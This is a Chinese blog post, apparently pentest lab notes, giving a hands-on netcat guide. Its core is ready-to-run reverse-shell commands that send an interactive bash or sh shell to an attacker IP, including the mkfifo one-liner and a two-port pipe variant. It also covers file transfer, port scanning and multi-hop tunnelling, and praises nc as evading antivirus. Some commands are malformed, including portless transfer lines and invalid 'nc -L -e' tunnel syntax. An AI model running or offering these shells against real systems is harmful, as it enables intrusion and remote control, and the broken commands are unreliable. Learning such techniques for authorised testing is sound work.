渗透利器：NC工具全方位使用指南

vortex5

已于 2024-12-30 03:13:26 修改

阅读量1.8k

点赞数 41

分类专栏：打靶笔记文章标签：网络安全渗透

于 2024-12-19 14:57:13 首次发布

本文链接：https://blog.csdn.net/2301_79518550/article/details/144584918

版权

打靶笔记专栏收录该内容

18 篇文章

订阅专栏

理论篇：深度解析NC的本质

nc（Netcat）是一款小巧且功能强大的网络工具，其体积非常小（通常仅几百KB），但却支持TCP和UDP两种传输层协议。它既可以作为客户端连接服务端程序，也可以作为服务端侦听端口并接受连接。这种双重角色使得nc成为网络工具中的经典之作，甚至被誉为“黑客领域的瑞士军刀”。

功能概述

兼容绝大多数传输协议
nc支持两种主流的传输层协议：TCP和UDP。无论是常见的HTTP、FTP等应用层协议，还是自定义协议，只要基于TCP或UDP，nc都能用来建立连接并进行数据通信。这种广泛的协议兼容性使其成为网络测试和通信的利器。
兼具客户端与服务端功能
- 作为客户端：nc可以主动连接到支持TCP或UDP协议的服务端，例如HTTP服务器或数据库，发送请求并接收响应。
- 作为服务端：它可以侦听指定的端口，模拟服务端的行为，等待并处理来自客户端的连接与数据。
轻量、高效且隐蔽
nc体积小、运行效率高，许多Linux系统默认自带它。因为它是一款基础工具，功能直白，没有特定的攻击特征，大多数杀毒软件不会对其进行查杀。这种低特征性，使nc在一些需要隐蔽操作的场景中表现尤为出色。

核心特点

强大的协议支持
无论是TCP还是UDP，nc都能轻松处理。对于任何开了TCP或UDP端口的服务，nc都可以作为客户端发起连接，发送请求指令并接收响应。
全功能覆盖
无论是发送数据、监听端口还是传输文件，nc都能胜任。尤其是在测试或渗透中，它能完成从简单的端口扫描到复杂的反向Shell等多种操作。
默认集成
许多Linux系统默认集成了nc，无需额外安装，便于即插即用。

常用参数详解

以下是nc的核心参数及其作用：

参数	功能描述
`-c`	使用 `/bin/sh` 执行Shell命令。
`-e`	指定程序文件名，连接后自动执行该程序。
`-i`	设置传输信息或扫描通信端口时的时间间隔。
`-k`	保持连接活跃（Keepalive）。
`-l`	启用监听模式，侦听端口的连接请求。
`-n`	直接使用IP地址，而不通过DNS解析域名。
`-o`	将传输的数据以十六进制的形式保存到指定文件。
`-p`	指定本地主机使用的通信端口。
`-r`	随机化本地和远程端口，用于增加隐蔽性。
`-v`	显示指令执行的详细信息，`-vv`模式更详细。
`-w`	设置等待连接的超时时间。
`-C`	在发送请求时以CRLF（回车+换行）结尾，适用于某些严格要求的系统。
`-z`	设置零I/O模式，通常用于扫描通信端口。

概念辨析：服务端、客户端、正向与反向

服务端与客户端

服务端：运行在目标系统上，侦听某个端口，等待外部连接。在渗透测试中，目标系统通常充当服务端角色。例如，Web服务器、数据库服务器等都在等待客户端连接。服务端收到请求后，根据预设的协议或规则处理并返回数据或响应。
客户端：主动发起连接的一方，通常是向服务端请求数据或服务的程序或设备。在渗透测试中，攻击者的工具或设备通常充当客户端，通过主动扫描、漏洞利用或其他手段与目标系统（服务端）建立连接。

正向与反向连接

正向连接：客户端主动向服务端发起连接。正向连接的优势在于，客户端直接连接到服务端，通常不需要复杂的绕过机制或额外配置，适用于大多数标准攻击方式。
反向连接：服务端主动向客户端回连，经常被用来绕过目标网络的防火墙或NAT（网络地址转换）限制。通常，攻击者的设备（客户端）无法直接连接到目标系统的内网设备，但目标系统可以主动发起连接回攻击者（主控端），从而实现远程控制或数据交互。

实战篇：掌握NC的强大功能

在红队的打靶过程中，nc因其小巧、灵活、强大的特性，被广泛应用于各类渗透测试场景，下面将逐一介绍。

NC反弹Shell

反弹Shell（Reverse Shell）是利用目标系统主动向攻击者的设备发起连接，将Shell权限传递给攻击者的一种技术。

反向Shell的优势如下：

突破防火墙：防火墙通常限制外部对内网的主动访问，但对内网设备主动发起的连接限制较少。
隐蔽性强：反向连接在流量中通常不易被识别为异常，有助于隐藏攻击行为。

场景一：标准反弹Shell

在目标环境支持完整的nc功能（包括-e参数）时，可以直接通过以下步骤实现反弹Shell：

攻击端（监听端口）

nc -nvlp 4444

-l：启动监听模式
-n：不解析域名，直接使用IP地址
-v：显示详细信息
-p 4444：指定监听端口为4444

目标端（发起连接）

nc -nv 192.168.111.128 4444 -e /bin/bash

-n：直接使用IP地址，不解析域名
-v：显示连接过程的详细信息
192.168.111.128：攻击者设备的IP地址
-e /bin/bash：执行/bin/bash，将Shell输出通过连接传递给攻击端

结果：攻击端将接收到目标端的Shell权限，可以直接执行命令。

场景二：通过端口串联实现反向Shell

在某些情况下，目标系统的nc版本较低或被安全策略限制，不支持-e参数。此时，可以通过管道符（|）串联两个端口实现类似的效果。

攻击端（监听两个端口）

nc -nvlp 4444
nc -nvlp 5555

目标端（使用管道符串联端口）

nc -nv 192.168.111.128 4444 | /bin/bash | nc -nv 192.168.111.128 5555

nc -nv 192.168.111.128 4444：目标端主动连接监听的4444端口，将输入内容传递给管道中的/bin/bash。
/bin/bash：执行Shell命令，将输出通过管道传递给另一个nc实例。
nc -nv 192.168.111.128 5555：将来自/bin/bash的Shell输出连接到攻击端监听的5555端口，实现双向通信。

结果：虽然没有-e参数，但通过两个监听端口和管道符的巧妙结合，同样可以实现反弹Shell。

场景三：通过管道实现反向Shell

与场景二情况类似，目标系统的nc不支持直接执行Shell，这时可以通过管道技术与nc配合，绕过这些限制。原理是通过mkfifo命令创建命名管道，并使用nc传输Shell的输入输出，从而实现在目标端和攻击端之间的双向通信。

攻击端（监听端口）

nc -nvlp 4444

目标端（利用管道技术连接并传递Shell）

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.111.128 4444 > /tmp/f

这是一条十分巧妙而精简的命令，下面是对该命令的详细解释：

rm /tmp/f：删除目标系统上的临时文件/tmp/f，避免如果文件存在导致的异常。
mkfifo /tmp/f：创建一个命名管道/tmp/f，用于在Shell与nc之间传递数据。
cat /tmp/f：读取管道/tmp/f中的数据。
/bin/sh -i：启动交互式Shell，执行通过管道传递的命令。
2>&1：将标准错误输出重定向到标准输出，确保所有信息（包括错误）都通过管道传递。
| nc 192.168.111.128 4444：将Shell的输入和输出通过nc传输给攻击者的设备。
> /tmp/f：将来自nc的输出数据写入到管道中，确保Shell的输入数据从nc中接收。

结果：攻击者成功通过nc和管道将输入输出数据闭环，并能执行命令，仿佛就在Shell中敲命令一般。

NC文件传输

如果目标环境有nc命令，便能直接使用该命令以简单高效的方式传输文件。以下是使用nc进行文件传输的典型场景，包括正向传输和反向传输。

反向传输文件

在反向传输中，由目标设备主动向监听设备发送文件：

服务端（Kali监听并接收文件）
```
nc -nvlp 80 > a.txt
```
- -l：启动监听模式
- -n：不解析域名，直接使用IP
- -v：显示详细信息
- -p 80：指定监听端口为80
- > a.txt：将接收到的数据保存为a.txt
客户端（靶机主动连接并发送文件）
```
nc -nv 127.0.0.1 < a.txt
```
- 127.0.0.1：服务端的IP地址
- < a.txt：将a.txt文件内容通过连接发送出去

正向传输文件

在正向传输中，由监听端向目标设备主动推送文件：

服务端（Kali监听并发送文件）
```
nc -nvlp 80 < a.txt
```
- < a.txt：将本地文件a.txt的内容通过连接发送出去
客户端（靶机主动连接并接收文件）
```
nc -nv 127.0.0.1 > a.txt
```
- > a.txt：将接收到的数据保存为a.txt

优化传输：添加超时参数

为了提高传输的稳定性和自动化程度，可以在发送文件的一端添加-w参数。

nc -nvlp 80 < a.txt -w 1

-w 1：在传输完成1秒后自动断开连接，避免长时间保持空闲状态。

验证文件传输完整性

文件传输完成后，为确保数据一致性，可以使用md5sum校验文件的哈希值，对比两端的MD5值是否一致，若一致则文件传输成功且完整。
在这里插入图片描述

NC扫描端口

通过-z参数，nc可以高效地探测目标主机的开放端口。

命令示例

nc -znv 192.168.1.1 1-1000

-z：扫描模式，不发送数据，仅检查端口是否开放
-n：不解析域名，直接使用IP地址
-v：显示详细信息
192.168.1.1：目标主机的IP地址
1-1000：扫描1到1000端口

工作原理

nc尝试与目标主机的每个端口建立TCP或UDP连接。若连接成功，则端口开放；否则端口关闭。

优点：

简单高效，不依赖复杂工具（如nmap）。
直接基于四层协议（TCP/UDP）进行探测，结果清晰。

NC建立隧道

隧道模式简介

部分版本的nc支持-L参数（监听模式扩展），可以将数据转发至内网目标，从而实现隧道功能。

例如，假设攻击者对目标机器192.168.1.1进行渗透测试。该目标机器上部署了一个防火墙并且开放了80端口，该端口上运行了一个Web服务器。如果这个Web服务器存在漏洞并被成功利用，攻击者就可以通过该Web服务器控制目标机器。此时，如果该机器上的nc支持-L参数，攻击者就能利用该服务器穿透防火墙访问其内网。

大多数公司在防护内网与外网时，都会通过VPN建立隧道，以隔离办公网络和线上业务系统。攻击者可以利用Web服务器上的nc -L命令将隧道引导至内网，甚至可以通过级联多个nc实例在多台内网机器之间建立隧道。

级联隧道建立

在渗透测试中，攻击者常常会遇到内网隔离、防火墙或其他安全措施的限制，无法直接访问目标内网资源。通过使用nc工具，攻击者可以绕过这些限制，通过隧道技术逐步访问内网深层资源。这种方式特别适用于渗透测试中的横向移动和纵深攻击。

级联隧道的关键思想是通过多个中间节点建立隧道，逐步穿越安全防线，最终访问到深层的内网资源。

以下是一个级联隧道过程示例，展示了如何通过多层隧道实现对深层内网资源的访问：

第一层隧道（Web服务器到目标内网网关）

假设攻击者已经成功通过漏洞控制了目标机器上的Web服务器，并且该服务器通过nc -L监听80端口。攻击者可以执行以下命令，在该Web服务器上建立隧道：
```
nc -L 0.0.0.0 8080 -e /bin/bash
```
该命令会使Web服务器监听8080端口，并将传入的流量转发到本地的bash命令行（即形成一个反向shell）。攻击者可以通过外部网络连接该端口，进入Web服务器并与内网资源进行交互。
第二层隧道（通过Web服务器连接到内网网关）

如果目标内网资源被防火墙保护，攻击者可以将第一层隧道进一步引导到内网的网关。假设内网的网关机器地址为192.168.1.100，并且它也允许nc通过-L参数转发流量。攻击者可以在Web服务器上继续建立一个新的隧道，将流量传递给内网网关：
```
nc -L 192.168.1.100 8081 -e nc 192.168.2.1 80
```
这里，Web服务器上的nc会将传入的流量转发至内网网关，然后由网关再将流量转发至内网的下一台目标机器（如192.168.2.1的80端口）。
第三层及更多层的隧道（逐层突破内网资源）

随着攻击者逐步穿越网络，可能会遇到更深层的防火墙或网段隔离。在这种情况下，攻击者可以继续通过每一台中继机器（如192.168.2.1）上创建nc -L隧道，直到达到目标内网资源。